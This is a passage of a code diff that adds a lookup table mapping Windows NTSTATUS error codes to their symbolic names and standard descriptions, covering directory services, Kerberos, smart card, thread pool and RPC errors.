+        0xC00002D8: ("STATUS_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER","A global group cannot have a universal group as a member."),
+        0xC00002D9: ("STATUS_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER","A universal group cannot have a local group as a member."),
+        0xC00002DA: ("STATUS_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER","A global group cannot have a cross-domain member."),
+        0xC00002DB: ("STATUS_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER","A local group cannot have another cross-domain local group as a member."),
+        0xC00002DC: ("STATUS_DS_HAVE_PRIMARY_MEMBERS","Cannot change to a security-disabled group because primary members are in this group."),
+        0xC00002DD: ("STATUS_WMI_NOT_SUPPORTED","The WMI operation is not supported by the data block or method."),
+        0xC00002DE: ("STATUS_INSUFFICIENT_POWER","There is not enough power to complete the requested operation."),
+        0xC00002DF: ("STATUS_SAM_NEED_BOOTKEY_PASSWORD","The Security Accounts Manager needs to get the boot password."),
+        0xC00002E0: ("STATUS_SAM_NEED_BOOTKEY_FLOPPY","The Security Accounts Manager needs to get the boot key from the floppy disk."),
+        0xC00002E1: ("STATUS_DS_CANT_START","The directory service cannot start."),
+        0xC00002E2: ("STATUS_DS_INIT_FAILURE","The directory service could not start because of the following error: %hs Error Status: 0x%x. Click OK to shut down this system and restart in Directory Services Restore Mode. Check the event log for more detailed information."),
+        0xC00002E3: ("STATUS_SAM_INIT_FAILURE","The Security Accounts Manager initialization failed because of the following error: %hs Error Status: 0x%x. Click OK to shut down this system and restart in Safe Mode. Check the event log for more detailed information."),
+        0xC00002E4: ("STATUS_DS_GC_REQUIRED","The requested operation can be performed only on a global catalog server."),
+        0xC00002E5: ("STATUS_DS_LOCAL_MEMBER_OF_LOCAL_ONLY","A local group can only be a member of other local groups in the same domain."),
+        0xC00002E6: ("STATUS_DS_NO_FPO_IN_UNIVERSAL_GROUPS","Foreign security principals cannot be members of universal groups."),
+        0xC00002E7: ("STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED","Your computer could not be joined to the domain. You have exceeded the maximum number of computer accounts you are allowed to create in this domain. Contact your system administrator to have this limit reset or increased."),
+        0xC00002E9: ("STATUS_CURRENT_DOMAIN_NOT_ALLOWED","This operation cannot be performed on the current domain."),
+        0xC00002EA: ("STATUS_CANNOT_MAKE","The directory or file cannot be created."),
+        0xC00002EB: ("STATUS_SYSTEM_SHUTDOWN","The system is in the process of shutting down."),
+        0xC00002EC: ("STATUS_DS_INIT_FAILURE_CONSOLE","Directory Services could not start because of the following error: %hs Error Status: 0x%x. Click OK to shut down the system. You can use the recovery console to diagnose the system further."),
+        0xC00002ED: ("STATUS_DS_SAM_INIT_FAILURE_CONSOLE","Security Accounts Manager initialization failed because of the following error: %hs Error Status: 0x%x. Click OK to shut down the system. You can use the recovery console to diagnose the system further."),
+        0xC00002EE: ("STATUS_UNFINISHED_CONTEXT_DELETED","A security context was deleted before the context was completed. This is considered a logon failure."),
+        0xC00002EF: ("STATUS_NO_TGT_REPLY","The client is trying to negotiate a context and the server requires user-to-user but did not send a TGT reply."),
+        0xC00002F0: ("STATUS_OBJECTID_NOT_FOUND","An object ID was not found in the file."),
+        0xC00002F1: ("STATUS_NO_IP_ADDRESSES","Unable to accomplish the requested task because the local machine does not have any IP addresses."),
+        0xC00002F2: ("STATUS_WRONG_CREDENTIAL_HANDLE","The supplied credential handle does not match the credential that is associated with the security context."),
+        0xC00002F3: ("STATUS_CRYPTO_SYSTEM_INVALID","The crypto system or checksum function is invalid because a required function is unavailable."),
+        0xC00002F4: ("STATUS_MAX_REFERRALS_EXCEEDED","The number of maximum ticket referrals has been exceeded."),
+        0xC00002F5: ("STATUS_MUST_BE_KDC","The local machine must be a Kerberos KDC (domain controller) and it is not."),
+        0xC00002F6: ("STATUS_STRONG_CRYPTO_NOT_SUPPORTED","The other end of the security negotiation requires strong crypto but it is not supported on the local machine."),
+        0xC00002F7: ("STATUS_TOO_MANY_PRINCIPALS","The KDC reply contained more than one principal name."),
+        0xC00002F8: ("STATUS_NO_PA_DATA","Expected to find PA data for a hint of what etype to use, but it was not found."),
+        0xC00002F9: ("STATUS_PKINIT_NAME_MISMATCH","The client certificate does not contain a valid UPN, or does not match the client name in the logon request. Contact your administrator."),
+        0xC00002FA: ("STATUS_SMARTCARD_LOGON_REQUIRED","Smart card logon is required and was not used."),
+        0xC00002FB: ("STATUS_KDC_INVALID_REQUEST","An invalid request was sent to the KDC."),
+        0xC00002FC: ("STATUS_KDC_UNABLE_TO_REFER","The KDC was unable to generate a referral for the service requested."),
+        0xC00002FD: ("STATUS_KDC_UNKNOWN_ETYPE","The encryption type requested is not supported by the KDC."),
+        0xC00002FE: ("STATUS_SHUTDOWN_IN_PROGRESS","A system shutdown is in progress."),
+        0xC00002FF: ("STATUS_SERVER_SHUTDOWN_IN_PROGRESS","The server machine is shutting down."),
+        0xC0000300: ("STATUS_NOT_SUPPORTED_ON_SBS","This operation is not supported on a computer running Windows Server 2003 for Small Business Server."),
+        0xC0000301: ("STATUS_WMI_GUID_DISCONNECTED","The WMI GUID is no longer available."),
+        0xC0000302: ("STATUS_WMI_ALREADY_DISABLED","Collection or events for the WMI GUID is already disabled."),
+        0xC0000303: ("STATUS_WMI_ALREADY_ENABLED","Collection or events for the WMI GUID is already enabled."),
+        0xC0000304: ("STATUS_MFT_TOO_FRAGMENTED","The master file table on the volume is too fragmented to complete this operation."),
+        0xC0000305: ("STATUS_COPY_PROTECTION_FAILURE","Copy protection failure."),
+        0xC0000306: ("STATUS_CSS_AUTHENTICATION_FAILURE","Copy protection error-DVD CSS Authentication failed."),
+        0xC0000307: ("STATUS_CSS_KEY_NOT_PRESENT","Copy protection error-The specified sector does not contain a valid key."),
+        0xC0000308: ("STATUS_CSS_KEY_NOT_ESTABLISHED","Copy protection error-DVD session key not established."),
+        0xC0000309: ("STATUS_CSS_SCRAMBLED_SECTOR","Copy protection error-The read failed because the sector is encrypted."),
+        0xC000030A: ("STATUS_CSS_REGION_MISMATCH","Copy protection error-The region of the specified DVD does not correspond to the region setting of the drive."),
+        0xC000030B: ("STATUS_CSS_RESETS_EXHAUSTED","Copy protection error-The region setting of the drive may be permanent."),
+        0xC0000320: ("STATUS_PKINIT_FAILURE","The Kerberos protocol encountered an error while validating the KDC certificate during smart card logon. There is more information in the system event log."),
+        0xC0000321: ("STATUS_SMARTCARD_SUBSYSTEM_FAILURE","The Kerberos protocol encountered an error while attempting to use the smart card subsystem."),
+        0xC0000322: ("STATUS_NO_KERB_KEY","The target server does not have acceptable Kerberos credentials."),
+        0xC0000350: ("STATUS_HOST_DOWN","The transport determined that the remote system is down."),
+        0xC0000351: ("STATUS_UNSUPPORTED_PREAUTH","An unsupported pre-authentication mechanism was presented to the Kerberos package."),
+        0xC0000352: ("STATUS_EFS_ALG_BLOB_TOO_BIG","The encryption algorithm that is used on the source file needs a bigger key buffer than the one that is used on the destination file."),
+        0xC0000353: ("STATUS_PORT_NOT_SET","An attempt to remove a processes DebugPort was made, but a port was not already associated with the process."),
+        0xC0000354: ("STATUS_DEBUGGER_INACTIVE","An attempt to do an operation on a debug port failed because the port is in the process of being deleted."),
+        0xC0000355: ("STATUS_DS_VERSION_CHECK_FAILURE","This version of Windows is not compatible with the behavior version of the directory forest, domain, or domain controller."),
+        0xC0000356: ("STATUS_AUDITING_DISABLED","The specified event is currently not being audited."),
+        0xC0000357: ("STATUS_PRENT4_MACHINE_ACCOUNT","The machine account was created prior to Windows NT 4.0. The account needs to be recreated."),
+        0xC0000358: ("STATUS_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER","An account group cannot have a universal group as a member."),
+        0xC0000359: ("STATUS_INVALID_IMAGE_WIN_32","The specified image file did not have the correct format; it appears to be a 32-bit Windows image."),
+        0xC000035A: ("STATUS_INVALID_IMAGE_WIN_64","The specified image file did not have the correct format; it appears to be a 64-bit Windows image."),
+        0xC000035B: ("STATUS_BAD_BINDINGS","The client's supplied SSPI channel bindings were incorrect."),
+        0xC000035C: ("STATUS_NETWORK_SESSION_EXPIRED","The client session has expired; so the client must re-authenticate to continue accessing the remote resources."),
+        0xC000035D: ("STATUS_APPHELP_BLOCK","The AppHelp dialog box canceled; thus preventing the application from starting."),
+        0xC000035E: ("STATUS_ALL_SIDS_FILTERED","The SID filtering operation removed all SIDs."),
+        0xC000035F: ("STATUS_NOT_SAFE_MODE_DRIVER","The driver was not loaded because the system is starting in safe mode."),
+        0xC0000361: ("STATUS_ACCESS_DISABLED_BY_POLICY_DEFAULT","Access to %1 has been restricted by your Administrator by the default software restriction policy level."),
+        0xC0000362: ("STATUS_ACCESS_DISABLED_BY_POLICY_PATH","Access to %1 has been restricted by your Administrator by location with policy rule %2 placed on path %3."),
+        0xC0000363: ("STATUS_ACCESS_DISABLED_BY_POLICY_PUBLISHER","Access to %1 has been restricted by your Administrator by software publisher policy."),
+        0xC0000364: ("STATUS_ACCESS_DISABLED_BY_POLICY_OTHER","Access to %1 has been restricted by your Administrator by policy rule %2."),
+        0xC0000365: ("STATUS_FAILED_DRIVER_ENTRY","The driver was not loaded because it failed its initialization call."),
+        0xC0000366: ("STATUS_DEVICE_ENUMERATION_ERROR","The device encountered an error while applying power or reading the device configuration. This may be caused by a failure of your hardware or by a poor connection."),
+        0xC0000368: ("STATUS_MOUNT_POINT_NOT_RESOLVED","The create operation failed because the name contained at least one mount point that resolves to a volume to which the specified device object is not attached."),
+        0xC0000369: ("STATUS_INVALID_DEVICE_OBJECT_PARAMETER","The device object parameter is either not a valid device object or is not attached to the volume that is specified by the file name."),
+        0xC000036A: ("STATUS_MCA_OCCURED","A machine check error has occurred. Check the system event log for additional information."),
+        0xC000036B: ("STATUS_DRIVER_BLOCKED_CRITICAL","Driver %2 has been blocked from loading."),
+        0xC000036C: ("STATUS_DRIVER_BLOCKED","Driver %2 has been blocked from loading."),
+        0xC000036D: ("STATUS_DRIVER_DATABASE_ERROR","There was error [%2] processing the driver database."),
+        0xC000036E: ("STATUS_SYSTEM_HIVE_TOO_LARGE","System hive size has exceeded its limit."),
+        0xC000036F: ("STATUS_INVALID_IMPORT_OF_NON_DLL","A dynamic link library (DLL) referenced a module that was neither a DLL nor the process's executable image."),
+        0xC0000371: ("STATUS_NO_SECRETS","The local account store does not contain secret material for the specified account."),
+        0xC0000372: ("STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY","Access to %1 has been restricted by your Administrator by policy rule %2."),
+        0xC0000373: ("STATUS_FAILED_STACK_SWITCH","The system was not able to allocate enough memory to perform a stack switch."),
+        0xC0000374: ("STATUS_HEAP_CORRUPTION","A heap has been corrupted."),
+        0xC0000380: ("STATUS_SMARTCARD_WRONG_PIN","An incorrect PIN was presented to the smart card."),
+        0xC0000381: ("STATUS_SMARTCARD_CARD_BLOCKED","The smart card is blocked."),
+        0xC0000382: ("STATUS_SMARTCARD_CARD_NOT_AUTHENTICATED","No PIN was presented to the smart card."),
+        0xC0000383: ("STATUS_SMARTCARD_NO_CARD","No smart card is available."),
+        0xC0000384: ("STATUS_SMARTCARD_NO_KEY_CONTAINER","The requested key container does not exist on the smart card."),
+        0xC0000385: ("STATUS_SMARTCARD_NO_CERTIFICATE","The requested certificate does not exist on the smart card."),
+        0xC0000386: ("STATUS_SMARTCARD_NO_KEYSET","The requested keyset does not exist."),
+        0xC0000387: ("STATUS_SMARTCARD_IO_ERROR","A communication error with the smart card has been detected."),
+        0xC0000388: ("STATUS_DOWNGRADE_DETECTED","The system detected a possible attempt to compromise security. Ensure that you can contact the server that authenticated you."),
+        0xC0000389: ("STATUS_SMARTCARD_CERT_REVOKED","The smart card certificate used for authentication has been revoked. Contact your system administrator. There may be additional information in the event log."),
+        0xC000038A: ("STATUS_ISSUING_CA_UNTRUSTED","An untrusted certificate authority was detected while processing the smart card certificate that is used for authentication. Contact your system administrator."),
+        0xC000038B: ("STATUS_REVOCATION_OFFLINE_C","The revocation status of the smart card certificate that is used for authentication could not be determined. Contact your system administrator."),
+        0xC000038C: ("STATUS_PKINIT_CLIENT_FAILURE","The smart card certificate used for authentication was not trusted. Contact your system administrator."),
+        0xC000038D: ("STATUS_SMARTCARD_CERT_EXPIRED","The smart card certificate used for authentication has expired. Contact your system administrator."),
+        0xC000038E: ("STATUS_DRIVER_FAILED_PRIOR_UNLOAD","The driver could not be loaded because a previous version of the driver is still in memory."),
+        0xC000038F: ("STATUS_SMARTCARD_SILENT_CONTEXT","The smart card provider could not perform the action because the context was acquired as silent."),
+        0xC0000401: ("STATUS_PER_USER_TRUST_QUOTA_EXCEEDED","The delegated trust creation quota of the current user has been exceeded."),
+        0xC0000402: ("STATUS_ALL_USER_TRUST_QUOTA_EXCEEDED","The total delegated trust creation quota has been exceeded."),
+        0xC0000403: ("STATUS_USER_DELETE_TRUST_QUOTA_EXCEEDED","The delegated trust deletion quota of the current user has been exceeded."),
+        0xC0000404: ("STATUS_DS_NAME_NOT_UNIQUE","The requested name already exists as a unique identifier."),
+        0xC0000405: ("STATUS_DS_DUPLICATE_ID_FOUND","The requested object has a non-unique identifier and cannot be retrieved."),
+        0xC0000406: ("STATUS_DS_GROUP_CONVERSION_ERROR","The group cannot be converted due to attribute restrictions on the requested group type."),
+        0xC0000407: ("STATUS_VOLSNAP_PREPARE_HIBERNATE","{Volume Shadow Copy Service} Wait while the Volume Shadow Copy Service prepares volume %hs for hibernation."),
+        0xC0000408: ("STATUS_USER2USER_REQUIRED","Kerberos sub-protocol User2User is required."),
+        0xC0000409: ("STATUS_STACK_BUFFER_OVERRUN","The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application."),
+        0xC000040A: ("STATUS_NO_S4U_PROT_SUPPORT","The Kerberos subsystem encountered an error. A service for user protocol request was made against a domain controller which does not support service for user."),
+        0xC000040B: ("STATUS_CROSSREALM_DELEGATION_FAILURE","An attempt was made by this server to make a Kerberos constrained delegation request for a target that is outside the server realm. This action is not supported and the resulting error indicates a misconfiguration on the allowed-to-delegate-to list for this server. Contact your administrator."),
+        0xC000040C: ("STATUS_REVOCATION_OFFLINE_KDC","The revocation status of the domain controller certificate used for smart card authentication could not be determined. There is additional information in the system event log. Contact your system administrator."),
+        0xC000040D: ("STATUS_ISSUING_CA_UNTRUSTED_KDC","An untrusted certificate authority was detected while processing the domain controller certificate used for authentication. There is additional information in the system event log. Contact your system administrator."),
+        0xC000040E: ("STATUS_KDC_CERT_EXPIRED","The domain controller certificate used for smart card logon has expired. Contact your system administrator with the contents of your system event log."),
+        0xC000040F: ("STATUS_KDC_CERT_REVOKED","The domain controller certificate used for smart card logon has been revoked. Contact your system administrator with the contents of your system event log."),
+        0xC0000410: ("STATUS_PARAMETER_QUOTA_EXCEEDED","Data present in one of the parameters is more than the function can operate on."),
+        0xC0000411: ("STATUS_HIBERNATION_FAILURE","The system has failed to hibernate (The error code is %hs). Hibernation will be disabled until the system is restarted."),
+        0xC0000412: ("STATUS_DELAY_LOAD_FAILED","An attempt to delay-load a .dll or get a function address in a delay-loaded .dll failed."),
+        0xC0000413: ("STATUS_AUTHENTICATION_FIREWALL_FAILED","Logon Failure: The machine you are logging onto is protected by an authentication firewall. The specified account is not allowed to authenticate to the machine."),
+        0xC0000414: ("STATUS_VDM_DISALLOWED","%hs is a 16-bit application. You do not have permissions to execute 16-bit applications. Check your permissions with your system administrator."),
+        0xC0000415: ("STATUS_HUNG_DISPLAY_DRIVER_THREAD","{Display Driver Stopped Responding} The %hs display driver has stopped working normally. Save your work and reboot the system to restore full display functionality. The next time you reboot the machine a dialog will be displayed giving you a chance to report this failure to Microsoft."),
+        0xC0000416: ("STATUS_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE","The Desktop heap encountered an error while allocating session memory. There is more information in the system event log."),
+        0xC0000417: ("STATUS_INVALID_CRUNTIME_PARAMETER","An invalid parameter was passed to a C runtime function."),
+        0xC0000418: ("STATUS_NTLM_BLOCKED","The authentication failed because NTLM was blocked."),
+        0xC0000419: ("STATUS_DS_SRC_SID_EXISTS_IN_FOREST","The source object's SID already exists in destination forest."),
+        0xC000041A: ("STATUS_DS_DOMAIN_NAME_EXISTS_IN_FOREST","The domain name of the trusted domain already exists in the forest."),
+        0xC000041B: ("STATUS_DS_FLAT_NAME_EXISTS_IN_FOREST","The flat name of the trusted domain already exists in the forest."),
+        0xC000041C: ("STATUS_INVALID_USER_PRINCIPAL_NAME","The User Principal Name (UPN) is invalid."),
+        0xC0000420: ("STATUS_ASSERTION_FAILURE","There has been an assertion failure."),
+        0xC0000421: ("STATUS_VERIFIER_STOP","Application verifier has found an error in the current process."),
+        0xC0000423: ("STATUS_CALLBACK_POP_STACK","A user mode unwind is in progress."),
+        0xC0000424: ("STATUS_INCOMPATIBLE_DRIVER_BLOCKED","%2 has been blocked from loading due to incompatibility with this system. Contact your software vendor for a compatible version of the driver."),
+        0xC0000425: ("STATUS_HIVE_UNLOADED","Illegal operation attempted on a registry key which has already been unloaded."),
+        0xC0000426: ("STATUS_COMPRESSION_DISABLED","Compression is disabled for this volume."),
+        0xC0000427: ("STATUS_FILE_SYSTEM_LIMITATION","The requested operation could not be completed due to a file system limitation."),
+        0xC0000428: ("STATUS_INVALID_IMAGE_HASH","The hash for image %hs cannot be found in the system catalogs. The image is likely corrupt or the victim of tampering."),
+        0xC0000429: ("STATUS_NOT_CAPABLE","The implementation is not capable of performing the request."),
+        0xC000042A: ("STATUS_REQUEST_OUT_OF_SEQUENCE","The requested operation is out of order with respect to other operations."),
+        0xC000042B: ("STATUS_IMPLEMENTATION_LIMIT","An operation attempted to exceed an implementation-defined limit."),
+        0xC000042C: ("STATUS_ELEVATION_REQUIRED","The requested operation requires elevation."),
+        0xC000042D: ("STATUS_NO_SECURITY_CONTEXT","The required security context does not exist."),
+        0xC000042E: ("STATUS_PKU2U_CERT_FAILURE","The PKU2U protocol encountered an error while attempting to utilize the associated certificates."),
+        0xC0000432: ("STATUS_BEYOND_VDL","The operation was attempted beyond the valid data length of the file."),
+        0xC0000433: ("STATUS_ENCOUNTERED_WRITE_IN_PROGRESS","The attempted write operation encountered a write already in progress for some portion of the range."),
+        0xC0000434: ("STATUS_PTE_CHANGED","The page fault mappings changed in the middle of processing a fault so the operation must be retried."),
+        0xC0000435: ("STATUS_PURGE_FAILED","The attempt to purge this file from memory failed to purge some or all the data from memory."),
+        0xC0000440: ("STATUS_CRED_REQUIRES_CONFIRMATION","The requested credential requires confirmation."),
+        0xC0000441: ("STATUS_CS_ENCRYPTION_INVALID_SERVER_RESPONSE","The remote server sent an invalid response for a file being opened with Client Side Encryption."),
+        0xC0000442: ("STATUS_CS_ENCRYPTION_UNSUPPORTED_SERVER","Client Side Encryption is not supported by the remote server even though it claims to support it."),
+        0xC0000443: ("STATUS_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE","File is encrypted and should be opened in Client Side Encryption mode."),
+        0xC0000444: ("STATUS_CS_ENCRYPTION_NEW_ENCRYPTED_FILE","A new encrypted file is being created and a $EFS needs to be provided."),
+        0xC0000445: ("STATUS_CS_ENCRYPTION_FILE_NOT_CSE","The SMB client requested a CSE FSCTL on a non-CSE file."),
+        0xC0000446: ("STATUS_INVALID_LABEL","Indicates a particular Security ID may not be assigned as the label of an object."),
+        0xC0000450: ("STATUS_DRIVER_PROCESS_TERMINATED","The process hosting the driver for this device has terminated."),
+        0xC0000451: ("STATUS_AMBIGUOUS_SYSTEM_DEVICE","The requested system device cannot be identified due to multiple indistinguishable devices potentially matching the identification criteria."),
+        0xC0000452: ("STATUS_SYSTEM_DEVICE_NOT_FOUND","The requested system device cannot be found."),
+        0xC0000453: ("STATUS_RESTART_BOOT_APPLICATION","This boot application must be restarted."),
+        0xC0000454: ("STATUS_INSUFFICIENT_NVRAM_RESOURCES","Insufficient NVRAM resources exist to complete the API. A reboot might be required."),
+        0xC0000500: ("STATUS_INVALID_TASK_NAME","The specified task name is invalid."),
+        0xC0000501: ("STATUS_INVALID_TASK_INDEX","The specified task index is invalid."),
+        0xC0000502: ("STATUS_THREAD_ALREADY_IN_TASK","The specified thread is already joining a task."),
+        0xC0000503: ("STATUS_CALLBACK_BYPASS","A callback has requested to bypass native code."),
+        0xC0000602: ("STATUS_FAIL_FAST_EXCEPTION","A fail fast exception occurred. Exception handlers will not be invoked and the process will be terminated immediately."),
+        0xC0000603: ("STATUS_IMAGE_CERT_REVOKED","Windows cannot verify the digital signature for this file. The signing certificate for this file has been revoked."),
+        0xC0000700: ("STATUS_PORT_CLOSED","The ALPC port is closed."),
+        0xC0000701: ("STATUS_MESSAGE_LOST","The ALPC message requested is no longer available."),
+        0xC0000702: ("STATUS_INVALID_MESSAGE","The ALPC message supplied is invalid."),
+        0xC0000703: ("STATUS_REQUEST_CANCELED","The ALPC message has been canceled."),
+        0xC0000704: ("STATUS_RECURSIVE_DISPATCH","Invalid recursive dispatch attempt."),
+        0xC0000705: ("STATUS_LPC_RECEIVE_BUFFER_EXPECTED","No receive buffer has been supplied in a synchronous request."),
+        0xC0000706: ("STATUS_LPC_INVALID_CONNECTION_USAGE","The connection port is used in an invalid context."),
+        0xC0000707: ("STATUS_LPC_REQUESTS_NOT_ALLOWED","The ALPC port does not accept new request messages."),
+        0xC0000708: ("STATUS_RESOURCE_IN_USE","The resource requested is already in use."),
+        0xC0000709: ("STATUS_HARDWARE_MEMORY_ERROR","The hardware has reported an uncorrectable memory error."),
+        0xC000070A: ("STATUS_THREADPOOL_HANDLE_EXCEPTION","Status 0x%08x was returned, waiting on handle 0x%x for wait 0x%p, in waiter 0x%p."),
+        0xC000070B: ("STATUS_THREADPOOL_SET_EVENT_ON_COMPLETION_FAILED","After a callback to 0x%p(0x%p), a completion call to Set event(0x%p) failed with status 0x%08x."),
+        0xC000070C: ("STATUS_THREADPOOL_RELEASE_SEMAPHORE_ON_COMPLETION_FAILED","After a callback to 0x%p(0x%p), a completion call to ReleaseSemaphore(0x%p, %d) failed with status 0x%08x."),
+        0xC000070D: ("STATUS_THREADPOOL_RELEASE_MUTEX_ON_COMPLETION_FAILED","After a callback to 0x%p(0x%p), a completion call to ReleaseMutex(%p) failed with status 0x%08x."),
+        0xC000070E: ("STATUS_THREADPOOL_FREE_LIBRARY_ON_COMPLETION_FAILED","After a callback to 0x%p(0x%p), a completion call to FreeLibrary(%p) failed with status 0x%08x."),
+        0xC000070F: ("STATUS_THREADPOOL_RELEASED_DURING_OPERATION","The thread pool 0x%p was released while a thread was posting a callback to 0x%p(0x%p) to it."),
+        0xC0000710: ("STATUS_CALLBACK_RETURNED_WHILE_IMPERSONATING","A thread pool worker thread is impersonating a client, after a callback to 0x%p(0x%p). This is unexpected, indicating that the callback is missing a call to revert the impersonation."),
+        0xC0000711: ("STATUS_APC_RETURNED_WHILE_IMPERSONATING","A thread pool worker thread is impersonating a client, after executing an APC. This is unexpected, indicating that the APC is missing a call to revert the impersonation."),
+        0xC0000712: ("STATUS_PROCESS_IS_PROTECTED","Either the target process, or the target thread's containing process, is a protected process."),
+        0xC0000713: ("STATUS_MCA_EXCEPTION","A thread is getting dispatched with MCA EXCEPTION because of MCA."),
+        0xC0000714: ("STATUS_CERTIFICATE_MAPPING_NOT_UNIQUE","The client certificate account mapping is not unique."),
+        0xC0000715: ("STATUS_SYMLINK_CLASS_DISABLED","The symbolic link cannot be followed because its type is disabled."),
+        0xC0000716: ("STATUS_INVALID_IDN_NORMALIZATION","Indicates that the specified string is not valid for IDN normalization."),
+        0xC0000717: ("STATUS_NO_UNICODE_TRANSLATION","No mapping for the Unicode character exists in the target multi-byte code page."),
+        0xC0000718: ("STATUS_ALREADY_REGISTERED","The provided callback is already registered."),
+        0xC0000719: ("STATUS_CONTEXT_MISMATCH","The provided context did not match the target."),
+        0xC000071A: ("STATUS_PORT_ALREADY_HAS_COMPLETION_LIST","The specified port already has a completion list."),
+        0xC000071B: ("STATUS_CALLBACK_RETURNED_THREAD_PRIORITY","A threadpool worker thread entered a callback at thread base priority 0x%x and exited at priority 0x%x.  This is unexpected, indicating that the callback missed restoring the priority."),
+        0xC000071C: ("STATUS_INVALID_THREAD","An invalid thread, handle %p, is specified for this operation. Possibly, a threadpool worker thread was specified."),
+        0xC000071D: ("STATUS_CALLBACK_RETURNED_TRANSACTION","A threadpool worker thread entered a callback, which left transaction state.  This is unexpected, indicating that the callback missed clearing the transaction."),
+        0xC000071E: ("STATUS_CALLBACK_RETURNED_LDR_LOCK","A threadpool worker thread entered a callback, which left the loader lock held.  This is unexpected, indicating that the callback missed releasing the lock."),
+        0xC000071F: ("STATUS_CALLBACK_RETURNED_LANG","A threadpool worker thread entered a callback, which left with preferred languages set.  This is unexpected, indicating that the callback missed clearing them."),
+        0xC0000720: ("STATUS_CALLBACK_RETURNED_PRI_BACK","A threadpool worker thread entered a callback, which left with background priorities set.  This is unexpected, indicating that the callback missed restoring the original priorities."),
+        0xC0000800: ("STATUS_DISK_REPAIR_DISABLED","The attempted operation required self healing to be enabled."),
+        0xC0000801: ("STATUS_DS_DOMAIN_RENAME_IN_PROGRESS","The directory service cannot perform the requested operation because a domain rename operation is in progress."),
+        0xC0000802: ("STATUS_DISK_QUOTA_EXCEEDED","An operation failed because the storage quota was exceeded."),
+        0xC0000804: ("STATUS_CONTENT_BLOCKED","An operation failed because the content was blocked."),
+        0xC0000805: ("STATUS_BAD_CLUSTERS","The operation could not be completed due to bad clusters on disk."),
+        0xC0000806: ("STATUS_VOLUME_DIRTY","The operation could not be completed because the volume is dirty. Please run the Chkdsk utility and try again."),
+        0xC0000901: ("STATUS_FILE_CHECKED_OUT","This file is checked out or locked for editing by another user."),
+        0xC0000902: ("STATUS_CHECKOUT_REQUIRED","The file must be checked out before saving changes."),
+        0xC0000903: ("STATUS_BAD_FILE_TYPE","The file type being saved or retrieved has been blocked."),
+        0xC0000904: ("STATUS_FILE_TOO_LARGE","The file size exceeds the limit allowed and cannot be saved."),
+        0xC0000905: ("STATUS_FORMS_AUTH_REQUIRED","Access Denied. Before opening files in this location, you must first browse to the e.g. site and select the option to log on automatically."),
+        0xC0000906: ("STATUS_VIRUS_INFECTED","The operation did not complete successfully because the file contains a virus."),
+        0xC0000907: ("STATUS_VIRUS_DELETED","This file contains a virus and cannot be opened. Due to the nature of this virus, the file has been removed from this location."),
+        0xC0000908: ("STATUS_BAD_MCFG_TABLE","The resources required for this device conflict with the MCFG table."),
+        0xC0000909: ("STATUS_CANNOT_BREAK_OPLOCK","The operation did not complete successfully because it would cause an oplock to be broken. The caller has requested that existing oplocks not be broken."),
+        0xC0009898: ("STATUS_WOW_ASSERTION","WOW Assertion Error."),
+        0xC000A000: ("STATUS_INVALID_SIGNATURE","The cryptographic signature is invalid."),
+        0xC000A001: ("STATUS_HMAC_NOT_SUPPORTED","The cryptographic provider does not support HMAC."),
+        0xC000A010: ("STATUS_IPSEC_QUEUE_OVERFLOW","The IPsec queue overflowed."),
+        0xC000A011: ("STATUS_ND_QUEUE_OVERFLOW","The neighbor discovery queue overflowed."),
+        0xC000A012: ("STATUS_HOPLIMIT_EXCEEDED","An Internet Control Message Protocol (ICMP) hop limit exceeded error was received."),
+        0xC000A013: ("STATUS_PROTOCOL_NOT_SUPPORTED","The protocol is not installed on the local machine."),
+        0xC000A080: ("STATUS_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED","{Delayed Write Failed} Windows was unable to save all the data for the file %hs; the data has been lost. This error may be caused by network connectivity issues. Try to save this file elsewhere."),
+        0xC000A081: ("STATUS_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR","{Delayed Write Failed} Windows was unable to save all the data for the file %hs; the data has been lost. This error was returned by the server on which the file exists. Try to save this file elsewhere."),
+        0xC000A082: ("STATUS_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR","{Delayed Write Failed} Windows was unable to save all the data for the file %hs; the data has been lost. This error may be caused if the device has been removed or the media is write-protected."),
+        0xC000A083: ("STATUS_XML_PARSE_ERROR","Windows was unable to parse the requested XML data."),
+        0xC000A084: ("STATUS_XMLDSIG_ERROR","An error was encountered while processing an XML digital signature."),
+        0xC000A085: ("STATUS_WRONG_COMPARTMENT","This indicates that the caller made the connection request in the wrong routing compartment."),
+        0xC000A086: ("STATUS_AUTHIP_FAILURE","This indicates that there was an AuthIP failure when attempting to connect to the remote host."),
+        0xC000A087: ("STATUS_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS","OID mapped groups cannot have members."),
+        0xC000A088: ("STATUS_DS_OID_NOT_FOUND","The specified OID cannot be found."),
+        0xC000A100: ("STATUS_HASH_NOT_SUPPORTED","Hash generation for the specified version and hash type is not enabled on server."),
+        0xC000A101: ("STATUS_HASH_NOT_PRESENT","The hash requests is not present or not up to date with the current file contents."),
+        0xC0010001: ("DBG_NO_STATE_CHANGE","The debugger did not perform a state change."),
+        0xC0010002: ("DBG_APP_NOT_IDLE","The debugger found that the application is not idle."),
+        0xC0020001: ("RPC_NT_INVALID_STRING_BINDING","The string binding is invalid."),
+        0xC0020002: ("RPC_NT_WRONG_KIND_OF_BINDING","The binding handle is not the correct type."),
+        0xC0020003: ("RPC_NT_INVALID_BINDING","The binding handle is invalid."),
+        0xC0020004: ("RPC_NT_PROTSEQ_NOT_SUPPORTED","The RPC protocol sequence is not supported."),
+        0xC0020005: ("RPC_NT_INVALID_RPC_PROTSEQ","The RPC protocol sequence is invalid."),
+        0xC0020006: ("RPC_NT_INVALID_STRING_UUID","The string UUID is invalid."),
+        0xC0020007: ("RPC_NT_INVALID_ENDPOINT_FORMAT","The endpoint format is invalid."),
+        0xC0020008: ("RPC_NT_INVALID_NET_ADDR","The network address is invalid."),
